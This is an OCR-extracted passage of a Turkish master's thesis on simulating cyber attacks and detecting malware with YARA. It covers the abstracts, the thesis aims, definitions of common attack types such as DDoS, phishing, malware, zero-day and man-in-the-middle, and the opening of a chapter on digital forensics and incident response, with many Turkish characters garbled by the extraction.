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OZET

Siber Saldir1 Tiirlerinin Simiile Edilmesi ve YARA ile Tespiti
Mustafa Emre DEMIR

Yiiksek Lisans Tezi

FIRAT UNIVERSITESI
Fen Bilimleri Enstitiisii

Adli Bilisim Miihendisligi Anabilim Dal1

Temmuz 2022, Sayfa: xi + 48

Biligim sistemlerinin oldukg¢a hizli gelisimi, kurum ve kuruluslarin tiim ig siireglerini bilisim sistemleri
iizerine tasimasini ve tiim siireclerin bu sistemler {izerinde yiiriitiilmesini ortaya ¢ikarmistir. Bununla birlikte
sistemler tizerinde bulunan sirket verilerinin ve kisisel verilerin giivenligini saglamak da bir sektdr haline
gelmigtir. Ayn1 zamanda kuruluglarin bilisim sistemlerindeki verilerini hedef alan kotii niyetli kisi veya
gruplar tarafindan verilerin giivenligi tehlikeye atilmaktadir. Kuruluslarin bu saldirgan kisi veya gruplar
tarafindan hedef alinmasi her gecen giin daha da artmaktadir. Dolayisiyla kuruluslar kendi sistemlerini
korumak amaciyla siber giivenlik i¢in gesitli ¢éziimler kullanmaya baglamislardir. Ancak bu ¢dziimler
stirdiiriilebilir bir siber giivenlik alt yapist ve fiziksel ekibi olmayan kuruluglar i¢in yeterli degildir ve bu
kuruluslar saldirganlarin hedefi olmaktan kaginamazlar.

Saldirganlarin hedefi olmus bir kurum veya kurulugta olusacak hasarin en aza indirgenmesi, olusan
hasarin onarilmasi ve yetkisiz erisimlerin kaldirilmasi i¢in Adli Bilisim ve Olay Miidahalesi siiregleri isletilir.
Adli bilisim ve olay miidahalesi siireglerinde inceleme yapilan kurum alt yapisindaki tiim u¢ noktalarin hizl
bir gekilde analiz edilmesi ve tiim tehdit unsurlarinin tespit edilip ortadan kaldirilmast kurum faaliyetlerinin
devam etmesi agisindan 6nem arz etmektedir.

Bu tez calismasinda siber diinyada aktif olarak sik¢a kullanilan saldirt tiirlerinin analizi yapilmaktadir.
Ayni zamanda bu saldir tiirleri simiile edilmektedir. Adli Bilisim ve Olay Miidahale siire¢lerinde Windows
ve Linux sistemlerin bulundugu bir sanal ortam olusturularak bu ortamda sik kullanilan siber saldirt
yontemlerinin uygulanmasi ve bu yontemlere kars1 savunma mekanizmalarinin gelistirilmesi, olay orgiistintin
¢oziilerek kok sebebin ortaya ¢ikarilmasina katki saglamak hedeflenmistir. Bu ¢aligmanin motivasyonu tiim
kurum ve kuruluslarin kars1 karsiya oldugu siber tehditlerle bas edebilmektir.

Tez caligmasinda yapilan uygulamada Windows sistemlerde sik¢a karsilasilan zararli yazilim
tirevlerinin manuel tekniklerle ve agik kaynak ¢oziimlerden olan YARA ile tespitinin nasil yapildigi
agiklanmustir.

Anahtar Kelimeler: YARA, Zararli1 Yazilim, Adli Bilisim, Siber Saldir
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Information systems are developing rapidly. Companies move their business processes to information
systems and all processes are carried out on these systems. However, it has become important to ensure the
security of company data and personal data on the systems. At the same time, the security of the data was
compromised by malicious individuals or groups targeting the data of the organizations' information systems.
The targeting of organizations by these aggressive individuals or groups is increasing day by day. Therefore,
organizations started to use various solutions for cyber security in order to protect their systems. However,
these solutions are not enough for organizations that do not have a sustainable cybersecurity infrastructure
and physical team, and these organizations cannot avoid being the target of attackers. In the first few
sentences, the importance of the subject and the aim of the thesis should be defined and brief information
about the method and findings should be presented. Finally, the information produced should be expressed
briefly.

A company that has been targeted by attackers operates DFIR processes to minimize damage. In DFIR
processes, all endpoints in the infrastructure of the institution should be analyzed quickly and all threat

elements should be detected and eliminated. This institution is important for the continuation of its activities.

In this thesis, the analysis of attack types that are actively used in the cyber world is made. At the same time,
these attack types are simulated. A virtual environment with Windows and Linux systems was created in
Digital Forensic and Incident Response processes. In this environment, frequently used cyber-attack methods
were applied and developed defense mechanisms against these methods. The motivation of this study is to
cope with the cyber threats faced by all institutions and organizations.

In the application made in the thesis study, it is explained how the malware variants, which are frequently
encountered in Windows systems, are detected with manual techniques and YARA, which is one of the open-
source solutions.

Keywords: YARA, Malware, Digital Forensic, Cyber Attack
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1. GIRIis

Siber saldiri, bilisim sistemleri iizerinde verilerini bulunduran kuruluslar1 hedef alan kisi
veya gruplar tarafindan birden fazla bilgisayar sistemi kullanarak bilgisayar sistemlerine veya ag
sistemlerine karsi baslatilan bir saldiridir. Bu tiir ataklar sistemlerin ¢aligmasina engel olabilir,
sistemler igerisinde var olan 6zel veya kisisel nitelikli veriler calmay1 hedefleyebilir veya ele
gecirilen bilgisayar1 baska siber saldirilar i¢in kullanabilir [1]. Siber suclular, siber atak yapmak
icin bir¢ok farkli yonteme bagvurabilirler. Bu yontemler, hizmet durdurma, fidye yazilim saldirist,
cesitli zafiyetlerin kullanilmasi ile zararli yazilim yiiklenmesi gibi ¢ogaltilabilir [1,2]. Siber
saldirilar, bilisim sistemleri tlizerinde verilen hizmetlerin devre dis1 olmasina sebep olabilir veya
veriler ¢almabilir. Siber saldirganlar, istismar edilebilecek bir veya daha fazla giivenlik agig1 olan
bir kaynag1 (fiziksel veya mantiksal) hedefler. Saldirinin bir sonucu olarak, kaynagin gizliligi,
biitiinligii veya kullanilabilirligi tehlikeye girebilir. Bazi siber saldirilarda, bir kurulusun Wi-Fi agi,
sosyal medya hesaplari, igletim sistemleri, kredi kart1 veya banka hesap numaralar gibi verilerin
ele gecirilmesi hedef olabilir [3]. Bu tiir saldir1 yapan profesyonel gruplar mevcuttur. Bu gruplar
Advanced Persistent Threat olarak isimlendirilir. Advanced Persistent Threat (APT), Tiirk¢eye
Gelismis Kalic1 Tehdit veya Gelismis Siirekli Tehdit olarak gevrilen terim, diinya genelinde
profesyonel siber saldir1 yapan gruplara verilen genel isimdir [4]. Gruplara 6zel bireysel isimleri
mevcuttur. Ornegin Lazarus veya APT38 olarak isimlendirilen grubun Kuzey Kore ile iligkili
oldugu bilinmektedir [5]. Bu grup genellikle IT ve Kimya sektoriinde ¢aligan firmalari hedef
almaktadir. Giinlimiizde bu tiir saldir1 gruplar1 yayginlasmistir dolayist ile bu tiir saldirilarin analizi

icin kullanilan yeni tekniklerin gelistirilme ihtiyaglar1 ortaya ¢ikmaktadir [6,7].

1.1. Tezin Amaci

Bu tezin amaci siber saldirtya ugramig bir kurumda saldir1 yapilan teknigin ve saldirganlarin
sistemler iizerindeki kalicilik mekanizmalarinin agik kaynak bir teknik olan Y ARA modeli ile tespit
edilmesini saglamaktir. YARA, kendine 6zgii bir kural yazim formati olan, 6zel bir sirket tarafindan
acik kaynak olarak gelistirilmis ve genel kullanima sunulmus bir aragtir. Bu arag 6zelinde, genele
hitap edecek kurallar gelistirilerek literatiire katki saglanmas1 hedeflenmistir.

Ayni zamanda bu tez ¢alismasmi okuyan bir siber giivenlik uzman kendi kurumunda
yasanmasi muhtemel siber ataklara karsi 6nceden 6nlem alabilecek veya hali hazirda bu saldirilara
maruz kalmis ise hizlica tespitini saglayacak ve sonrasinda neler yapmasi gerektigini bu ¢aligmada
Ogrenecektir.

Buradaki analiz ve inceleme icin Windows ve Linux igletim sistemleri tercih edilmistir. Bu

sistemlerin hem sunucu hem de son kullanici igin iiretilmis olan dagitimlari iizerinde testler



yapilmistir. Bu sistemler iizerinde en ¢ok kullanilan saldin tiirleri uygulanmis ve bilgisayarlar
iizerinde bu saldir1 teknikleri yardimiyla ¢esitli zararli yazilimlar yiiklenmistir. Bu sayede
sistemlere uzaktan yetkisiz stirekli erisim i¢in kalicilik saglanmustir.

Yetkisiz erisim saglanan ve ele gecirilen sistemlerde YARA kullanilarak zararl yazilimlarin
tespiti ve temizlenme islemleri manuel tekniklerle gosterilmistir. Burada kullanilan teknik olan
YARA bir ¢esit tespit aracidir. Bu ara¢ igerisinde kendi yapisina bagl kalarak kurallar
gelistirilebilmektedir. Bu ¢calismada elde edilen ¢iktilar dogrultusunda kurallar gelistirilerek zararl

tiirlerinin agik kaynak ¢oziimlerle tespiti saglanmugtir,

Bu tezin 6 temel ¢iktis1 olmasi1 hedeflenmistir;
e Saldirgan gruplarin sik kullandiklar1 saldir1 ve tekniklerin ortaya ¢ikarilmasi,
e Adli bilisim i¢in manuel bir Linux aracinin tanitilmasi,
¢ Bu tekniklerle olusturulan zararlilarin YARA kurallart ile tespit edilmesi,
e Yazilan YARA kurallarinin agik bir sekilde paylasilarak literatiire katki saglanmasi,
e  YARA Yazimmi agiklayarak kuruluglarin kendi biinyesinde bu kurallar1 gelistirip
kullanilmasinin saglanmasi,
e Gelecek calismalarda otomatize bir Y ARA kurali iiretim araci gelistirilmek istenirse

bu caligmadan faydalanilmasidir.

1.2. Tezin Yapisi

Bu tez galigmasi genel itibariyle 6 bolimden olugmaktadir.

Birinci boliimde siber saldirt kavraminin tanimi yapilmigtir. Ayn1 zamanda saldirganlara

literatiirde ne tiir isimler veriliyor gibi sorularin cevabi burada agiklanmustir.

Ikinci béliimde literatiir taramasi yapilarak sik kullanilan siber saldir1 tiirleri arastirilmis ve
Siber Saldirt Tiirleri bashgi altinda Ozetlenmistir. Burada deginilen saldirt tiirleri acikga
anlatilmistir.

Uciincii boliimde Adli Bilisim ve Olay Miidahalesi kavrami agiklanmistir.

Dordiincii boliimde siber saldir1 tiirlerinde kullanilan tekniklerin nasil uygulandigi

aciklanmigtir.



Besinci boliimde tezin ana ¢alisma konusu olan YARA’nmn ne oldugu nasil kullanildigi,

kurallarin nasil yazilmasi gerektigi ve yazilan kurallarin ¢iktilart agiklanmagtir,

Tez ¢alismasmin altinci ve son boliimiinde ise ¢alismanin ¢iktilarindan, sonuglarindan ve

onerilerden bahsedilmistir.



2. SiBER SALDIRI TURLERI

Siber saldiri, bilgisayarlar1 veya bilgisayar aglarmi hedef alan, bu sistemler igerisindeki kritik
verileri ele gecirmeyi, degistirmeyi veya sistemlere zarar vermeyi hedefleyen saldir1 tiirleridir.
Saldirgan kavrami, hedeflenen sistemde yetkisiz erisim saglayabilen kisi veya buradaki siireglerin

biitilinii olarak aciklanir.

2.1. Hizmet Durdurma Saldiris1 (DDoS)

DDoS veya dagitilmis hizmet reddi saldirisi, hedeflenen bir bilisim sisteminin, sunucu iizerinde
verilen bir servisin veya bilisim sistemlerinin bulundugu bir agin normal trafigini manipiile etmek
amactyla mevcut altyap1 kapasitesinin lizerinde bir internet trafigi gondererek sistemin ¢alismaz
veya hizmet veremez hale gelmesini saglayan saldin tiiriidiir [8]. DDoS ataklari, hedef aldigi
sistemde trafigi artirmak ve kapasiteyi doldurmak ig¢in daha 6nceden ele gecirilmis sistemleri
kullanir. Istismar edilen sistemler, sunucu sistemi, bilgisayar, telefon ve IoT cihazlar1 gibi aga bagh
olan bir¢ok farkl: tiir kaynag igerebilir [8,9]. Yiiksek trafiklere ¢ikabilen bir DDoS saldirisi, bir
araba yolunda trafigin ¢ok sikisik olmasi ve normal diizenin disina ¢ikmasi gibi degerlendirilebilir

[9].

DDoS saldirisini tespit etmek igin en yaygin yontem, bir servisin, hizmetin ya da sistemin aniden
yavaglamasi veya erisilemez hale gelmesidir. Normal seyrinde devam eden bir trafigin boyle bir
artigla karsilasmasi durumunda detayli analiz ve aragtirma yapma ihtiyact ortaya ¢ikar. Bu tiir
arastirmalar1 yapabilmek i¢in ag trafigini dinleyecek ve analiz edebilecek profesyonel araclara
ihtiyag¢ vardir. Bu tiir analiz araglarinda DDOS saldirisin tespit edebilmek igin asagidaki bilgilere
ihtiyag vardir [9]:

e Bir IP aralif1 kullanan veya tek bir IP’den gelen siipheli trafigin miktarimi kontrol etmek
gereklidir.

e Saldin tiiriine gére DDOS saldirilart tespit edebilmek igin gesitli kalintilar olabilir.

e Servis verilen sistem {iizerinde tek bir sayfanin veya tek bir servisin ¢alismamasi veya bu
alanlara yapilan isteklerde ani bir artis olmasi.

e Servise gelen isteklerin ani bir sekilde artmasi veya belirli zaman araliklariyla artigin
devam etmesi durumu olusabilir.

e Konum, cihaza tiirii veya web tarayicisina ait teknik bilgilerin tespit edildigi primlenebilir

bir trafik akis1 olusabilir.



2.1.1. DDoS Saldiris1 Nasil Cahisir?

DDoS saldirilarinin  gergeklestirilebilmesi i¢in bilgisayarlarin aga bagli olmasi gereklidir.
Bahsedilen bu aglarin igerisinde, zararli yazilim ile ele gecirilmis ve saldirgan tarafindan yetkisiz
erisim saglanmig, uzaktan kontrol edilebilen cihazlardan ve diger IoT cihazlar1 gibi cihazlar
bulunur. Bu bireysel olarak ele gecirilmis ve bahsedilen aga dahil olmus cihazlara bot makineler
denir. Bu cihazlardan olusan gruplara ise botnet ag1 veya botnet grubu denir [9].

Saldirgan tarafindan olusturulan botnet aglar1 yonetilebilir sekilde tasarlanir. Saldirgan botnet
agindaki her bir cihaza uzaktan talimat gonderebilir. Planlanan bir saldir1 i¢in cihazlari
yonlendirebilir. Saldirgan hedef olarak sectigi bir aga, cihaza ya da servise, olusturdugu botnet
agindan hedef alinan IP adresine istekler gonderir ve potansiyel olarak agin veya sunucu servisin
asir1 yiiklenmesine neden olur. Bu durumda normal trafigin karsilanamamasina ve verilen hizmetin
saldir1 sebebiyle reddedilmesine neden olur. Botnet i¢erisindeki her bir bot mesru ve internete baglh
bir cihaz olmasi sebebiyle, normal bir trafigi saldirgan trafiginden ayirt etmek bazi durumlarda

zorlasabilir [9].

2.2. Oltalama Saldirisi

Kimlik av1 veya oltalama olarak isimlendirilen bu teknik, hedef alinan kisi veya topluluga kendisini
legal bir servis, sirket veya kisi olarak tanitir ve giiven saglar. Bu sayede kurbanin kisisel bilgilerini,
kredi kart1 bilgileri veya sifreleri gibi hassas verilerini elde etmeyi hedefler. Bu teknigi genellikle
e-posta, kisa mesaj veya telefon ile arama yoluyla magdura iletir. Bu saldir1 sonucunda elde edilen
bilgiler daha sonra onemli hesaplara erismek icin kullanilir ve kimlik hirsizligina veya mali
kayiplara neden olabilir [10].

Kimlik av1 teknigi ile islenen ilk suca iliskin dava 2004 yilinda America Online isimli web sitesinin
taklidini olusturan Kaliforniyali bir kisiye kars1 acildi. Tasarlanan sahte web sitesi ile kullanicilara
ait hassas bilgileri elde etmeyi ve hesaplarindan para ¢ekmek icin kredi kart1 bilgilerine erismeyi
hedeflemisti. Bu tekniklerin yani sira, saldirganlarin siirekli olarak ortaya ¢ikardigi 'vishing' (sesli

phishing), 'smishing' (SMS Phishing) ve diger birkag phishing teknigi de vardir [11].

2.3. Zararh Yazilim Saldiris1

Zararl yazilim veya kotli amagh yazilim saldirilari, son kullanici bilgisi olmadan bir bilgisayara,
sunucuya, istemciye veya bilgisayar agina ve/veya altyapisina zarar vermek veya izlemek icin
tasarlanmig her tiirlii kot amagh yazilimdir [12].

Siber saldirganlar bir¢ok farkli nedenle kotii amagh yazilim olusturur, kullanir ve satar, ancak en
sik olarak kigisel, finansal veya ticari bilgileri calmak i¢in kullanilir. Motivasyonlar1 degisse de,

siber saldirganlar taktiklerini, tekniklerini ve prosediirlerini (TTP) neredeyse her zaman gorevlerini



yerine getirmek icin daha yetkili kimlik bilgilerine ve hesaplara erisim elde etmeye odaklanirlar

[12].

2.3.1. Zararh Yazihm Tiirleri

Cogu kotii amagh yazilim tiirli asagidaki kategorilerden birinde siniflandirilabilir [13];

En Sik Kullanilan Aktif Siber Atak Tiirleri

Viriis: Bir bilgisayar viriisii calistirildiginda, diger programlar degistirerek ve kotii amagh kodu
normal bir program isleyisine ekleyerek kendini ¢ogaltabilir. Diger dosyalara bulasabilen tek kotii

amagcli yazilim tiiriidiir ve kaldirilmasi en zor kotii amagli yazilim tiirlerinden biridir [13].

Solucan: Bir solucan, son kullanic1 miidahalesi olmadan kendi kendini ¢ogaltma giiciine sahiptir.
Bir makineden digerine gegerek hizla tiim aglara bulagabilir. Yani viriislii sistemlerde etkin kalirken

diger bilgisayarlara da bulasan bir tiir kotii amagl yazilimdir [13].

Truva Ati: Truva at1 kotii amacli yazilimi, kendisini mesru bir program olarak gizler ve bu da onu
tespit edilmesi en zor kotii amaglh yazilim tiirlerinden biri haline getirir. Genellikle diger kotii
amagcli yazilim tiirlerinin sisteme girmesine izin vermek i¢in kullanilir. Kullanicilar1 gergek amact

konusunda yanlis yonlendiren herhangi bir koétii amagh yazilim turiidiir [13].

Kotii amach kod: Zararli olan herhangi bir program veya dosyadir [13].

Hibrit kotii amach yazihm: Modern koétii amagl yazilim, genellikle bir "hibrit" veya kotii amagh
yazilm tiirlerinin birlesimidir. Ornegin, "botlar" &nce Truva ati olarak goriiniir, ardindan
yiiriitiildiikten sonra solucan gibi davranir. Ag capinda daha biiyiik bir siber saldirinin parcasi olarak

bireysel kullanicilart hedeflemek i¢in siklikla kullanilirlar [14].

Reklam Zararhsi: Reklam yazilimi, son kullaniciya istenmeyen ve saldirgan reklamlar (6rn. pop-

up reklamlar) sunar [14].

Kotii amach reklamcihk: Koti amagli reklameilik, son kullanici makinelerine kotli amagh

yazilim dagitmak i¢in yasal reklamlar1 kullanir [14].

Casus yazihm: Casus yazilim, siiphelenmeyen son kullaniciyr gozetler, kimlik bilgilerini ve

parolalar1 toplar, tarama ge¢misi alir. Hassas bilgileri ifsa etmek, internet kullanim verilerini



calmak, bilgi islem cihaziniza erismek veya cihazlara fiziksel zarar vermek i¢in tasarlanmig zararl

yazilimdir [15].

Fidye Yazilimi: Fidye yazilimi makinelere bulasir, dosyalar: sifreler ve kurbandan talep edilen
degeri o6deyene kadar fidye icin gerekli sifre ¢ozme anahtarini saklar. Fidye 6denene kadar bir
bilgisayar sistemine veya verilere erisimi engellemek icin tasarlanmig kotii amaglh yazilimdir. Fidye
yazilimi, kimlik avi e-postalari, kotii amagh reklamlar, viriislii web sitelerini ziyaret ederek veya

giivenlik agiklarindan yararlanarak yayilir [15].

Kaba kuvvet saldirilari: Bir sisteme veya hassas verilere yetkisiz erisim elde etmek i¢in kullanici

adlarini ve sifreleri tahmin etmeyi igeren popiiler bir saldir1 yontemidir [15].

Siteler aras1 komut dosyasi1 calistirma (XSS): Genellikle web uygulamalarinda bulunan bir tiir
giivenlik agig1 olan XSS, saldirganlarin diger kullanicilar tarafindan goriintiilenen web sayfalaria
istemci tarafina komut dosyalar1 eklemesine olanak tanir ve erisim denetimini atlatmak icin

kullanilir [16].

Hizmet Reddi saldirilar: (DoS): Koétii niyetli bir siber tehdit aktoriiniin eylemleri nedeniyle mesru
kullanicilarin bilgi sistemlerine, cihazlara veya diger ag kaynaklaria erigimin kesilmesine sebep

olan saldir tiradiir [16].

Exploit: Istenmeyen davranislara neden olmak veya hassas verilere yetkisiz erisim saglamak igin

giivenlik agigindan yararlanan bir yazilim, veri veya komut dizisidir [16].

E-posta Sahtekarhgi: Sahte gonderici adresi olusturularak magdurlara e-posta gonderilmesi

yontemi ile planlanan saldir1 tirtidiir [17].

Kimlik Avi: Giris kimlik bilgileri, kredi karti numaralari, banka hesap numaralar1 veya diger
finansal bilgiler gibi hassas bilgileri mesru bir siteymis gibi gostererek toplamay1 hedefleyen saldirt

turidiir [17].

Ortadaki Adam (MiTM): Bir saldirgan, dogrudan iletisim kuran iki taraf arasindaki iletigimin
arasina girerek trafigi kendi lizerinden geg¢irir ve isterse bu trafigi degistirir. Bu, saldirganm iletisimi
yonlendirmesine, dinlemesine ve hatta her bir tarafin sdylediklerini degistirmesine olanak tanir

[18].



Tarayicidaki adam (MiTB): Web sayfalarini ve islem igerigini degistirmek veya gizli bir sekilde
yeni icerik eklemek icin tarayicidaki giivenlik aciklarindan yararlanarak bir web tarayicisina

bulagan bir truva at1 i¢in proxy gibi davranan saldir1 teknigidir [19].

Ping Tasmas1 (ping flood): Saldirganin, kurbana ICMP protokoliinii kullanarak siirekli ping
paketleri ilettigi basit bir hizmet reddi (DOS) saldirisidir [20].

Oliim Ping’i (ping death): Bir bilgisayara hatali bigimlendirilmis veya baska bir sekilde kotii

amagcli ping géndermeyi igeren saldir tiiriidiir [20].

Smurf saldirisi: Smurf saldirisi, bir saldirganin, kurbanin sunucusunu sahte Internet Protokolii (IP)
ve Internet Kontrol Mesaj Protokolii (ICMP) paketleri ile doldurdugu dagitilnis bir hizmet reddi
(DDoS) saldirisidir. Sonug olarak, hedef sistem calismaz hale getirilir. Bu saldir1 tiirli, adini
1990'larda yaygin olarak kullanilan “DDoS Smurf” isimli zararli yazilim aracindan alir. Kotii
amagcli yazilim araci tarafindan olusturulan kiiciik ICMP paketi, kurbanin sistemine 6nemli 6lgiide

zarar verebilir [21].

Arabellek tasmalar1 (buffer owerflow): Saldirganlar, bir uygulamanin bellekte kullandig1 alanin
lizerine veri yazarak bellekleri tagirabilir. Tagirilan kisimda programin isleyisi degistirilerek zararl

yazilimin ¢alismast hedeflenir [22].

Yigin tagsmalari (heap owerflow): Yigin veya bir uygulama icin bellekte bir alan ayrildiginda ve
veriler {lizerinde herhangi bir sinir denetimi yapilmadan veriler bu bellege yazildiginda meydana

gelen bir arabellek tasmasi bigimidir. Tasirilan kisimda zararlinin ¢alismasi hedeflenir [22].

Yi1gin tasmalari (stack owerflow): Bir programin yi1ginda bulunan bir arabellege, arabellek i¢in
ayrilandan daha fazla veri yazmasina neden olan ve programin ¢okmesine veya yanlig calismasina
neden olan ayn1 zamanda y1gm i¢indeki verilerin bozulmasi ile sonuglanan bir arabellek tasmasi

tiriidiir. Tasirilan kisimda zararlinin ¢aligmasi hedeflenir [22].

Dogrudan erisim saldirilari: Bir bilgisayar korsaninin veya saldirganin bir bilgisayara erisebildigi
ve ondan dogrudan veri indirebildigi bir saldir tiiriidiir [23].

Yetki yiikseltme: Genellikle uygulama veya kullanici tarafindan kisitlanan kaynaklara yetkisiz
erisim elde etmek i¢in bir igletim sistemi veya uygulamada var olan programlama hatasi, giivenlik
ag1g81, tasarim hatasi, yapilandirma hatasi veya erisim denetimini kullanarak yetki verilmeyen alana

ulasilmay1 hedefleyen saldir1 tiiriidiir [23].



Balina saldirisi: Bir sirketten hassas bilgileri ¢almak i¢in CEO veya CFO gibi iist diizey
yoneticileri hedefleyen bir tiir kimlik avi saldirisidir. Bu, finansal bilgileri veya ¢alisanlarin kisisel

bilgilerini igerebilir [23].
Sosyal miithendislik: Sosyal miihendislik, kurbanlar1 gizli bilgileri ve hassas verileri ifsa etmeye

veya olagan giivenlik standartlarini ihlal eden bir eylem gergeklestirmeye yonlendirmek i¢in insan

psikolojisini ve duyarliligini kullanan bir saldir1 tiiriidiir [24].

En Sik Kullanilan Pasif Siber Atak Tiirleri

Bilgisayar gozetimi: Bilgisayar etkinliginin ve bir sabit siirliciide depolanan verilerin izlenmesi

olarak tanimlanmaktadir [25].

Ag gozetimi: Bilgisayar aglar1 izerinden aktarilan faaliyet ve verilerin izlenmesidir [25].

Telefon dinleme: Ugiincii bir sahis tarafindan, genellikle gizli yollarla telefon ve internet tabanli

konusmalarin izlenmesidir [25].

Baglanti noktasi taramasi (port scan): Bir ag ana bilgisayarinda bulunan agik baglanti noktalarini

ve hizmetleri tanimlamak i¢in kullanilan bir teknigidir [25].

Idle tarama: Hangi hizmetlerin kullanilabilir oldugunu bulmak i¢in bir bilgisayara sahte paketler

gondermekten olusan bir TCP baglant1 noktasi tarama yontemidir [25].

Tus vurusu izleme (keylogging): Klavyede basilan tuslar1 kaydetme eylemidir [25].

Veri kazima: Bilisim sistemi {izerindeki verilerin son kullanici tarafindan normal sartlarda
okunamaz hale geldiginde bu verileri farkli teknikler kullanarak okunmasi yontemiyle pasif veri

elde edilen yontemdir [25].

Typosquatting: Bilgisayar alan adlarinin veya adreslerinin benzerine yakin sekilde taklit

edilmesiyle internet kullanicilarint hedef aldig bir siber saldir1 bigimidir [25].

Gizlice dinleme: Baskalarinin 6zel konusmalarini veya iletisimlerini rizalar1 olmadan gizlice

dinleme eylemidir [25].



Endiistriyel Siber Atak Tiirleri

Kontrol sistemleri: Fiziksel altyap: lizerindeki sistemler kontrol etmek i¢in endiistriyel veya
mekanik kontrolleri etkinlestiren sistemleri yoneten yazilim veya bilisim sistemlerine yapilan

saldir tiirleridir. Asagidaki 6rnek verilen sektorleri hedef alir [26,27];

Enerji: Siber suglular, sehirlere, bolgelere veya hanelere gii¢ saglayan elektrik sebekelerini

veya dogal gaz hatlarin1 hedef alabilir [26].

e Finans: Finansal altyapi, bilgisayar sistemleri ve finansal sistemlerin birbirine baglilig:

nedeniyle genellikle siber suglarin hedefidir [26].

e Telekomiinikasyon: Hizmet Reddi (DoS) saldirilar1 genellikle Internet iizerinden galisan

telekomiinikasyonlar1 hedef alir ve iletisim yetenegini azaltir [26].

e Ulasim: Ulasim altyapisina yonelik basarili siber saldirilar, ulagimm zamanlamasimni ve

erisilebilirligini etkileyen telekomiinikasyon saldirilarina benzer bir etkiye sahiptir [27].

e Su: Sualtyapisi genellikle bilgisayarlar tarafindan kontrol edilir ve bu da onu siber suglular
icin biiylik bir hedef haline getirir. Ele gecirilmesi durumunda en tehlikeli olanlardan

biridir. Kanalizasyon sistemleri de tehlikeye girebilir [27].

2.4. Sifirinc1 Giin Saldirisi

Sifir giin veya sifirinci giin saldirisi, bilisim sistemi tizerinde ¢alisan bir uygulamaya veya isletim
sistemine ait yamanin yaymlanmadigi veya uygulama gelistiricilerinin  farkinda
olmadigi/incelemek i¢in yeterli zamana sahip olmadigi bir bilgisayar yaziliminda veya
uygulamasinda bilinmeyen bir giivenlik agig1 tehdidini tanimlamak i¢in kullanilan terimdir [28].
Giivenlik a¢1g1 6nceden bilinmedigi i¢in, agiklar genellikle kullanicilarin bilgisi diginda gergeklesir.
Bir uygulamanin verimli ve glivenli olmasi i¢in tasarlanirken sifir glin hatas1 6nemli bir bilesen

olarak kabul edilir [28].

Sifirmer giin saldirilarinin géze ¢arpan 6zellikleri sunlardir [29]:

e  Sifir gilin saldirilari, genellikle, giivenlik agiginin ilk bulundugu ve istismar edildigi zaman

ile uygulama gelistiricilerin, istismara kars1 koymak i¢in gerekli ¢oziimii yayinladigi zaman
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arasinda gerceklesir. Bu zaman cizelgesi genellikle gilivenlik agig1 penceresi olarak

adlandirilir.

e Sifir giin saldirilari, ilgili uygulamalarin giivenlik aciklarindan yararlanarak bir agi

kullanilamaz hale getirebilir.

e Her zaman viriis degildirler ve Truva atlar1 veya solucanlar gibi diger kotii amaclh yazilim

bicimlerine biiriinebilirler.

e Kisisel bilgisayar kullanicilari i¢in, saldirinin dogasi geregi giivenilir bir varlik araciligiyla

yapildigindan sifir giin saldirisini teshis etmek son derece zordur.

e Kotii amagh yazilimlardan korunmak igin kullanilan ¢dziimlerin son siirlimlerinin
kullanilmasi, bir sifir giin saldirisina karsi yalnizca minimum giivenlik saglayabilmesine

ragmen en etkili yontemdir.

2.5. Ortadaki Adam Saldirisi

Ortadaki adam (MiTM) saldirisi, saldirganin birbirleriyle dogrudan iletisim kurduklarma inanan iki
taraf arasinda gizlice araya girip mesajlar1 ilettigi bir tiir siber saldiridir. Saldiri, saldirganin araya
girip tiim konugmay1 kontrol ettigi bir gizli dinleme tiiriidiir [30]. MiTM siber saldirilari, saldirgana
oturum agma kimlik bilgileri, hesap ayrintilar1 veya kredi karti numaralar1 gibi hassas kisisel
bilgileri gercek zamanli olarak yakalama ve degistirme yetenegi verdigi i¢cin ¢evrimigi giivenlik
agisindan ciddi bir tehdit olusturur [30].

MiTM saldirilar1 bazen ortadaki canavar, ortadaki makine, ortadaki maymun ve tarayicidaki adam
saldirilar1 olarak da adlandirilir. Tarayicidaki adam, saldirganlarin tarayiciya odaklandigi ve
kurbanin cihazina kotii niyetli proxy kotii amagli yazilimlari enjekte ettigi en yaygin MiTM saldirisi
tiriidiir. Kotli amagh yazilim genellikle kimlik avi e-postalar1 yoluyla tanitilir. Bu saldirilarin
arkasidaki temel amag, bir kullanicinin bir bankacilik veya finansal web sitesine giden trafigini
engelleyerek finansal bilgileri ¢calmaktir [30].

MiTM saldirilart sirasinda siber suglular kendilerini veri iglemlerinin veya g¢evrimigi iletisimin
ortasina sokar. Saldirgan, kétii amagli yazilimin dagitimi yoluyla, kullanicinin web tarayicisina ve
islemler sirasinda gonderip aldigi verilere kolay erigim saglar. Bir ortak anahtar ve bir 6zel anahtar
ile giivenli kimlik dogrulamasi gerektiren ¢evrimigi bankacilik ve e-ticaret siteleri, saldirganlarin
oturum a¢ma kimlik bilgilerini ve diger gizli bilgileri ele ge¢irmesini sagladiklarindan MiTM

saldirilarinin ana hedefleridir [31].
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Tipik olarak bu saldirilar, veri yakalama ve sifre ¢ozme olarak bilinen iki asamali bir siire¢
araciligryla gergeklestirilir. Veri ele gecirme, bir saldirganin bir istemci ile bir sunucu arasindaki
veri aktarimini engellemesini gerektirir. Saldirgan, istemciyi ve sunucuyu birbirleriyle bilgi
aligverisinde bulunduklarma inandirirken, verileri keser, gercek siteyle baglant1 kurar ve iletisime

yanlis bilgileri okumak ve eklemek i¢in bir proxy gorevi goriir [31].
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3. ADLIiBIiLiSIM VE OLAY MUDAHALESI

Adli biligim, dijital ortamlardan elde edilen delillerin, bir konuyu ortaya ¢ikarmak amaciyla kabul
edilebilir bir sekilde farkli ortamlara tasinmasi ve daha sonra elde edilen delillerin degerlendirme,
inceleme ve raporlama siireclerini kapsayan ve Adli Bilimlerin altinda yer alan bir bilim dalidir
[32,33].

Olay miidahalesi ise bir kurum veya kurulusun gelismis kalici tehditlere (APT) maruz kalmasi
sonucunda, tiim sistemlerde var olan tehdit unsurlarinin tespit edilmesi, olay ile ilgili kok nedenin
ortaya cikarilmasi, kalicilik saglayan tehdit unsurlarinin tekrar olusmamasini saglayacak sekilde
temizlenmesini ve sistemlerin yeniden giivenli hale getirilmesini saglayan siirecler biitiintidiir [34].
Olay miidahalesi siireclerinde incelemeler yapilirken Adli Bilisim tekniklerine bagvurulur. Olay
miidahalesinde temel amag tehdit unsurlarinin en hizh sekilde ortadan kaldirilip sistemlerin yeniden
giivenligini saglamaktir. Bu sebeple adli bilisim tekniklerinde kullanilan delil elde etme siirecleri
